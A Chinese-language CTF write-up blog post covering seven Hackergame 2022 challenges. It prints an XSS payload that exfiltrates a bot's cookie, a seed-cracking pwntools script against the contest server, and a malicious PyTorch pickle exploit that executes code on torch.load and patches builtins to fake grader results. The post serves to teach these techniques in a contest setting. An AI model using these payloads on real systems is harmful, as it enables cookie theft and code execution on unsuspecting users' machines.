「Hackergame 2022」#3 Writup 囤囤囤 1

这篇 Writeup 写一下 Hackergame 2022 里刚囤 flag 时做的剩下一部分题:
微积分计算小练习、蒙特卡罗轮盘赌、二次元神经网络、光与影、片上系统、企鹅拼盘、火眼金睛的小 E


微积分计算小练习

小 X 作为某门符号计算课程的助教,为了让大家熟悉软件的使用,他写了一个小网站:上面放着五道简单的题目,只要输入姓名和题目答案,提交后就可以看到自己的分数。

点击此链接访问练习网站(没链接)

想起自己前几天在公众号上学过的 Java 设计模式免费试听课,本着前后端离心(咦?是前后端离心吗?还是离婚?离。。离谱?总之把功能能拆则拆就对啦)的思想,小 X 还单独写了一个程序,欢迎同学们把自己的成绩链接提交上来。

总之,因为其先进的设计思想,需要同学们做完练习之后手动把成绩连接贴到这里来:

点击此链接提交练习成绩 URL(没链接)

点进第一个链接,随便做一遍,得到成绩分享页面 /share?result=...,然后将链接贴到第二个链接里,会自动读取出名字和成绩。

读取的过程是用 selenium 打开一个浏览器,GET login 然后将 flag 放入 cookie,在 GET 输入的 url(会替换掉 netloc 为 web,scheme 为 http),然后读取 #greeting 和 #score 的内容。

再看第一个链接,其 result 是可以构造的,相关逻辑:

1
2
3
4
5
6
7
8
9
10
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);

document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";

也就是将 result base64 解码,: 前面的为分数,后面的为用户名,然后填写进去。这里就可以进行 xss。没学过 xss,所以想了半天插入一个 script tag 之后怎么让处在前面的它被运行,后来搜了搜才知道可以利用 onload onerror 这些事件来填写脚本。

所以 payload 就是 100:<img src=1 onerror="document.querySelector('#greeting').innerHTML=document.cookie">,然后 base64 后作为 result 传入,再丢给第二个提交链接,得到 flag:flag{xS5_1OI_is_N0t_SOHARD_3c97784c1a}


蒙特卡罗轮盘赌

这个估算圆周率的经典算法你一定听说过:往一个 1x1 大小的方格里随机撒 N 个点,统计落在以方格某个顶点为圆心、1 为半径的 1/4 扇形区域中撒落的点数为 M,那么 M/N 就将接近于 π/4 。

当然,这是一个概率性算法,如果想得到更精确的值,就需要撒更多的点。由于撒点是随机的,自然也无法预测某次撒点实验得到的结果到底是多少——但真的是这样吗?

有位好事之徒决定借此和你来一场轮盘赌:撒 40 万个点计算圆周率,而你需要猜测实验的结果精确到小数点后五位。为了防止运气太好碰巧猜中,你们约定五局三胜。

看起来没什么其它漏洞,从伪随机入手,设置的随机种子为 time(0)+clock(),也就是当前时间戳加上程序运行到此处的 ticks 数。时间戳以秒为单位,波动不大,直接使用连接时的时间戳就可以。clock() 会有较大波动,从 0 开始枚举,将得到的值传入一个 C 程序中作为随机种子,模拟一下,看一看前两个是否能和正确结果对上。能对上则说明随机种子找对了,将后三个结果输回去即可完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import time
import subprocess
from tqdm import tqdm
from pwn import *

# p = process('./challenge')
p = remote("202.38.93.111", 10091)
token = "..."
p.sendlineafter(b": ", token.encode())
timestamp = int(time.time())

def crack_seed(res1, res2):
for clock in tqdm(range(0, 9000)):
seed = timestamp + clock
cracker = subprocess.run(
["./exp", str(seed)],
stdout=subprocess.PIPE,
)
res = cracker.stdout.decode().strip().split('\n')
if res[0] == str(res1) and res[1] == str(res2):
print(seed)
return res
seed = timestamp - clock
cracker = subprocess.run(
["./exp", str(seed)],
stdout=subprocess.PIPE,
)
res = cracker.stdout.decode().strip().split('\n')
if res[0] == str(res1) and res[1] == str(res2):
print(seed)
return res
exit(1)

p.recvuntil(":".encode("utf-8"))
p.sendline(b'3.14159')
win = p.recvline().decode().strip()
if win == "猜对了!":
res1 = "3.14159"
else:
p.recvuntil(":".encode("utf-8"))
res1 = p.recvline().decode().strip()

p.recvuntil(":".encode("utf-8"))
p.sendline(b'3.14159')
win = p.recvline().decode().strip()
if win == "猜对了!":
res2 = "3.14159"
else:
p.recvuntil(":".encode("utf-8"))
res2 = p.recvline().decode().strip()

print(res2)
res = crack_seed(res1, res2)

p.recvuntil(":".encode("utf-8"))
p.sendline(res[2].encode("utf-8"))
p.recvuntil(":".encode("utf-8"))
p.sendline(res[3].encode("utf-8"))
p.recvuntil(":".encode("utf-8"))
p.sendline(res[4].encode("utf-8"))
p.interactive()

运行得到 flag:flag{raNd0m_nUmb34_a1wayS_m4tters_……}

哦对了,有一个很坑的点是 mac 上的 gcc 其实是 clang 的 alias,而 clang 和 gcc 的随机数有区别,在 mac 上跑的话就一直爆不出来种子。在 Linux 上就可以一下爆出来。


二次元神经网络

天冷极了,下着雪,又快黑了。这是一年的最后一天——大年夜。在这又冷又黑的晚上,一个没有 GPU、没有 TPU 的小女孩,在街上缓缓地走着。她从家里出来的时候还带着捡垃圾捡来的 E3 处理器,但是有什么用呢?跑不动 Stable Diffusion,也跑不动 NovelAI。她也想用自己的处理器训练一个神经网络,生成一些二次元的图片。

于是她配置好了 PyTorch 1.9.1,定义了一个极其简单的模型,用自己收集的 10 张二次元图片和对应的标签开始了训练。

她在 CPU 上开始了第一个 epoch 的训练,loss 一直在下降,许多二次元图片重叠在一起,在向她眨眼睛。

她又开始了第二个 epoch,loss 越来越低,图片越来越精美,她的眼睛也越来越累,她的眼睛开始闭上了。

第二天清晨,这个小女孩坐在墙角里,两腮通红,嘴上带着微笑。新年的太阳升起来了,照在她小小的尸体上。

人们发现她时才知道,她的模型在 10 张图片上过拟合了,几乎没有误差。

(完)

听完这个故事,你一脸的不相信:「这么简单的模型怎么可能没有误差呢?」,于是你开始复现这个二次元神经网络。

目标看起来就是让模型生成的图片和预期几乎没有误差。试着多训练几轮,试图过拟合,记录一下 loss,发现降到 0.001+ 的时候就降不下去了,而需要的是 0.0005

看起来不可行。而且这是一道 web 类题,考虑用一些手段来让它认为我的输出是完全正确的。

搜索可以发现存的 .pt 文件中有使用 pickle 序列化存储的 .pkl 文件。而在读取的时候也会进行反序列化,这也就存在一个 pickle 反序列化的漏洞。

我们可以自己写一个恶意类然后打包到 data.pkl 压缩进 .pt 文件,在反序列化的时候就会执行其中的代码,比如:

1
2
3
class Exploit(object):
def __reduce__(self):
return (os.system, ("...", ))

这个在本地测试的时候运行 infer.py 可以打通,但远程就不可以。所以可以猜测远程实际上从其它模块中调用了 infer 函数,如果没有正常返回,则会报错。

那么我们的思路就是让整个程序都可以正常运行,只是在反序列化的时候进行一些操作。根据源码可以知道最终会将模型输出的结果存放在 /tmp/result.json 中,然后在其它位置再读取这个文件,进行判断。而如果没有这个文件则会直接报错。

所以可以在 reduce 中将完全正确的结果先写入 /tmp/result.json 中。但如果这时直接 exit,则后面程序无法执行,会出现报错。所以还需要让后面完全正常运行。整个 infer 函数的逻辑大概如下:

1
2
3
4
5
6
7
8
def infer(pt_file):
# ...
model = SimpleGenerativeModel(n_tags=n_tags, dim=dim, img_shape=img_shape)
model.load_state_dict(torch.load(pt_file, map_location="cpu"))

# ... predict

json.dump({"gen_imgs_b64": gen_imgs}, open("/tmp/result.json", "w"))

我们输入的 pt 文件会在 torch.load 中进行反序列化,这时会写入 /tmp/result.json。而后面对于我们写入的威胁就是还会 json.dump 一次。所以首先需要将 json.dump 这个函数的作用抹除掉:__import__('json').dump=lambda x, y: 0。但这还不够,因为参数中的 open 也会执行,以 w 方式打开文件的话会先直接清空文件,所以也需要抹掉 open 的作用。不过后面肯定还会需要使用 open 来读取文件,所以只能抹掉写入的部分:__builtins__['_open'] = open; __builtins__['open']=lambda x, y: 0 if y=='w' else __builtins__['_open'](x, y)

这样来讲我们的 exp 就是:

1
2
3
4
5
6
7
class Exploit(object):
def __reduce__(self):
text = '{"gen_imgs_b64": ["......'
return (exec, (f"open('/tmp/result.json', 'w').write('{text}');"
"__import__('json').dump=lambda x, y: 0;"
"__builtins__['_open']=open;"
"__builtins__['open']=lambda x, y: 0 if y=='w' else __builtins__['_open'](x, y)", ))

但仅将这个打包后得到的 data.pkl 直接压缩进 pt 文件还是不行。因为模型就没法正常读取了,所以还需要对其进行一些修改。

pkl 文件实际存储的是一个构造好的虚拟机指令,pickle 反序列化时会执行它。看源码可以了解到有一个指令 0x2E 表示了结束返回。所以直接将生成的 data.pkl 末尾的 0x2E 去掉,然后直接接上一份正确的 data.pkl 内容即可完成构造。

构造好后上传 pt 文件,即可达到目标得到 flag:flag{Torch.Load.Is.Dangerous-……}


光与影

冒险,就要不断向前!

在寂静的神秘星球上,继续前进,探寻 flag 的奥秘吧!

打开发现是一个 WebGL 渲染的场景,其中 flag 的内容被挡住了。所有内容都是在前端的,存下来就可以本地调试。

发现其中的主要场景渲染代码都在 fragment-shader.js 中。可以发现由一些 sdf 组成,最终的场景也是由几个 sdf 结果取 min 而来的。

看起来 t5SDF 的代码最短,可能是施加的遮盖。所以将 sceneSDF 中 t5 相关的部分删掉,再打开页面运行即可看到完整 flag:flag{SDF-i3-FuN!}


片上系统

最近,你听说室友在 SD 卡方面取得了些进展。在他日复一日的自言自语中,你逐渐了解到这个由他一个人自主研发的片上系统现在已经可以从 SD 卡启动:先由“片上 ROM 中的固件”加载并运行 SD 卡第一个扇区中的“引导程序”,之后由这个“引导程序”从 SD 卡中加载“操作系统”。而这个“操作系统”目前能做的只是向“串口”输出一些字符。

同时你听说,这个并不完善的 SD 卡驱动只使用了 SD 卡的 SPI 模式,而传输速度也是低得感人。此时你突然想到:如果速度不快的话,是不是可以用逻辑分析仪来采集(偷窃)这个 SD 卡的信号,从而“获得” SD 卡以至于这个“操作系统”的秘密?

你从抽屉角落掏出吃灰已久的逻辑分析仪。这个小东西价格不到 50 块钱,采样率也只有 24 M。你打开 PulseView,把采样率调高,连上室友开发板上 SD 卡的引脚,然后接通了开发板的电源,希望这聊胜于无的分析仪真的能抓到点什么有意思的信号。至于你为什么没有直接把 SD 卡拿下来读取数据,就没人知道了。

引导扇区

听说,第一个 flag 藏在 SD 卡第一个扇区的末尾。你能找到它吗?

操作系统

室友的“操作系统”会输出一些调试信息和第二个 flag。从室友前些日子社交网络发布的终端截图看,这个“操作系统”每次“启动”都会首先输出:

LED: ON
Memory: OK

或许你可以根据这一部分固定的输出和引导扇区的代码,先搞清楚那“串口”和“SD 卡驱动”到底是怎么工作的,之后再仔细研究 flag 到底是什么,就像当年的 Enigma 一样。

第一部分直接使用 PulseView 软件读取 binary 文件,得到信号,然后添加 SD card(SPI mode)解码器,将几个信号接上,就可以在 MOSI data 中看到 flag

dump 出来然后转换即可得到 flag:flag{0K_you_goT_th3_b4sIc_1dE4_caRRy_0N}

第二部分试图逆向后面的 RISCV 指令,但完全看不出什么有意义的东西,怀疑是数据搞错了,懒得修,罢了。


企鹅拼盘

这是一个可爱的企鹅滑块拼盘。(觉得不可爱的同学可以换可爱的题做)

和市面上只能打乱之后拼回的普通滑块拼盘不同,这个拼盘是自动打乱拼回的。一次游戏可以帮助您体验到 16/256/4096 次普通拼盘的乐趣。

每一步的打乱的方式有两种,选择哪一种则由您的输入(长度为 4/16/64 的 0/1 序列)的某一位决定。如果您在最后能成功打乱这个拼盘,您就可以获取到 flag 啦,快来试试吧wwwwww

第一部分输入只有四个 bit,直接手动试就能试出来答案是 1000,flag:flag{it_works_like_magic_……}

第二部分输入有 16 个 bit,可以用代码爆破一下,将题给代码中的主逻辑复制出来,枚举输入跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import json
from tqdm import tqdm
from sys import argv

class Board:
def __init__(self):
self.b = [[i*4+j for j in range(4)] for i in range(4)]

def _blkpos(self):
for i in range(4):
for j in range(4):
if self.b[i][j] == 15:
return (i, j)

def reset(self):
for i in range(4):
for j in range(4):
self.b[i][j] = i*4 + j

def move(self, moves):
for m in moves:
i, j = self._blkpos()
if m == 'L':
self.b[i][j] = self.b[i][j-1]
self.b[i][j-1] = 15
elif m == 'R':
self.b[i][j] = self.b[i][j+1]
self.b[i][j+1] = 15
elif m == 'U':
self.b[i][j] = self.b[i-1][j]
self.b[i-1][j] = 15
else:
self.b[i][j] = self.b[i+1][j]
self.b[i+1][j] = 15

def __bool__(self):
for i in range(4):
for j in range(4):
if self.b[i][j] != i*4 + j:
return True
return False

with open("chals/b16_obf.json") as f:
branches = json.load(f)

b = Board()
start = ...
end = ...
for i in tqdm(range(start, end)):
b.reset()
bits = bin(i)[2:].zfill(16)
for branch in branches:
b.move(branch[1] if bits[branch[0]] == '1' else branch[2])
if b:
print(bits)
break

爆破出结果为 0010111110000110,flag:flag{Branching_Programs_are_NC1_……}

第三部分太复杂了,应该爆破不出来,毕竟这是一道 math 题,开摆。


火眼金睛的小 E

小 E 有很多的 ELF 文件,它们里面的函数有点像,能把它们匹配起来吗?

小 A:这不是用 BinDiff 就可以了吗,很简单吧?

只做了右手就行的第一部分,也就是两次达到 100% 正确。拖进 IDA 中硬看,找 CFG 图以及汇编代码比较类似的函数即可,时限也很长,不用着急,很容易就能找到相似的函数。提交拿到 flag:flag{easy_to_use_bindiff_……} (笑死,根本没用 bindiff)

第二部分要求一个小时内完成 100 题中的 40 题,第三部分要求三小时内完成 200 题中的 60 题,不想做,开摆。


剩下的一些题,general 差一个 OJ 第二问不知道咋做,区块链也不知道咋做,感觉很神奇。web 差一道题,可能是 SQL 注入?反正我本来也不会,就不做了。其它的就是 binary/math 了,等着赛后看 writeup 学习学习。

「Hackergame 2022」#3 Writup 囤囤囤 1

https://blog.tonycrane.cc/p/169d9f3d.html

作者

TonyCrane

发布于

2022-10-27

更新于

2022-10-30

许可协议